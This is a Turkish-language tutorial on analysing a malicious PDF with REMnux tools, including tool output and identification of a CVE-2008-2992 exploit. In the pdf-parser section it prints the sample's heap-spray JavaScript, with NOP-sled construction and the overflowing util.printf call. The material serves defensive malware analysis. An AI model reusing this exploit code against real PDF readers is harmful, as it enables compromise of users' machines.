Zararlı Kod İçeren PDF Dosyalarının Analizi

Zararlı kodların pdf, doc, xls gibi farklı doküman formatlarının içine gömülmesi sosyal mühendislik saldırılarında sıklıkla kullanılan bir yöntemdir. Dolayısıyla bu dosyaların da şüpheli durumlarda analiz edilmesi gerekmektedir. REMNux imajıyla gelen, doğrudan da elde edilebilecek çeşitli araçlarla PDF dosyalarının detaylı analizi yapılabilir.


Kullanılan Araçlar:

  • pdfid
  • AnalyzePDF
  • peepdf
  • pdf-parser
  • Origami pdfextract

Örnek zararlının SHA256 özeti: f3b30f5ecd00e3b0b74db08146b4d65bd376114da9391eb8541aee9b39974664

pdfid.py betiği kullanılarak zararlı PDF dosyasının hangi türde ne kadar içeriği olduğu görülür. Örnekte PDF dosyasının Javascript kodları içerdiği görülmektedir.

pdfid z.pdf
PDFiD 0.1.2 z.pdf
 PDF Header: %PDF-1.5
 obj                    8
 endobj                 8
 stream                 1
 endstream              1
 xref                   1
 trailer                1
 startxref              1
 /Page                  1
 /Encrypt               0
 /ObjStm                0
 /JS                    1
 /JavaScript            2

 /AA                    0
 /OpenAction            0
 /AcroForm              0
 /JBIG2Decode           0
 /RichMedia             0
 /Launch                0
 /EmbeddedFile          0
 /XFA                   0
 /Colors > 2^24         0

Daha sonra AnalyzePDF.py betiği ile PDF dosyasındaki anormallikler analiz edilir. Örnekte hesaplanan entropy değerleri incelendiğinde streamin entropy değerinin toplam entropyden büyük olduğu görülmektedir. Buradan streame encode veya şifreleme işlemi uygulandığı sonucu çıkarılabilir. Bu yüzden AnalyzePDF dosyanın yüksek ihtimalle zararlı olabileceği yorumunu yapmıştır.

/usr/local/AnalyzePDF/AnalyzePDF.py z.pdf

===================================
[+] Analyzing: z.pdf
———————————–
[-] Sha256: f3b30f5ecd00e3b0b74db08146b4d65bd376114da9391eb8541aee9b39974664
[-] JavaScript count…….: 1
[-] Total Entropy……….: 5.205331
[-] Entropy inside streams : 4.458722
[-] Entropy outside streams: 5.183223
    [*] Entropy of outside stream is questionable:
    [-] Outside (5.183223) +2 (7.183223) > Total (5.205331)

[-] (1) page PDF
———————————–
[-] Total YARA score…….: 0
[-] Total severity score…: 5
[-] Overall score……….: 5
===================================
[!] HIGH probability of being malicious

Dosyanın zararlı olduğu yönündeki şüpheler doğrultusunda bilinen bir istismar kodu barındırıp barındırmadığı peepdf uygulaması ile kontrol edilir. Örnek dosyanın “CVE-2008-2992” olarak CVE id atanmış bir zafiyeti istismar etmeye çalıştığı anlaşılmıştır.

peepdf z.pdf
File: z.pdf
MD5: c9f23077dbd6537db976016efe5f9206
SHA1: 846345e38038e290d11524819f41422a0213b74a
Size: 3197 bytes
Version: 1.5
Binary: False
Linearized: False
Encrypted: False
Updates: 0
Objects: 8
Streams: 1
Comments: 0
Errors: 2

Version 0:
    Catalog: 1
    Info: No
    Objects (8): [1, 2, 3, 4, 5, 6, 7, 8]
        Errors (1): [8]
    Streams (1): [4]
        Encoded (0): []
    Objects with JS code (1): [8]
    Suspicious elements:
        /Names: [1, 7]
        /JavaScript: [6, 8]
        /JS: [8]
        util.printf (CVE-2008-2992): [8]

Bu noktada dosyanın zararlı olduğu kesinleşmiştir. Bilindik bir zafiyet olmaması gibi durumlarda bu aşamada da kesin kanıya varılamayabilir ve analize devam edilmesi gerekir.

Pdf-parser.py betiği kullanılarak PDF’in bölümleri parse edilip içerikleri görüntülenir. Çıktıda gösterilen bölümde heap overflow + heap sprey yapmaya çalışan zararlı Javascript kodu açıkça görülmüştür.

pdf-parser.py z.pdf
PDF Comment ‘%PDF-1.5rn’
………
   /S /JavaScript
    /JS ‘(rnvar temp =
……..
rnvar pl= temp.replace(‘
    /U9htL ‘/g, “%u”);rnvar payload = unescape(pl);rnrnvar nop = “”;rnvar nopvar = “t8zV9090t8zV9090t8zV9090t8zV9090t8zV9090”;rnvar nopesc = nopvar.replace(‘
    /t8zV ‘/g, “%u”);rnfor(iCnt=128; iCnt>=0;–iCnt) nop += unescape(nopesc);rnheapblock = nop + payload;rnvar nopbl = “8T490908T49090”;rnbigblock = unescape(nopbl.replace(‘
    /8T4 ‘/g, “%u”));rnheadersize = 20;rnspray = headersize+heapblock.length;rnwhile (bigblock.length<spray) bigblock+=bigblock;rnfillblock = bigblock.substring(0,spray);rnblock = bigblock.substring(0, bigblock.length-spray);rnwhile(block.length+spray < 0x40000) block = block + block + fillblock;rntrnmem = new Array();rnfor (i = 0; i < 1400; i++)rntmem[i] = block + heapblock;rnrnvar num = 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888rnutil.printf(“%45000f”,num);rnapp.alert(“you should not be able to read this”);rn)’
…….
PDF Comment ‘%%EOF’

Ayrıca PDF’in belli bölümlerini ayrıştırıp dosya olarak kaydetmek için Origami paketinden pdfextract betiği kullanılabilir. Örneğin sadece Javascript’leri ayıklamak için “pdfextract —js z.pdf” komutu kullanılır. Böylece ayrıştırılan dosyaları “jsdetox” gibi farklı uygulamalarla analiz etmek mümkün olur.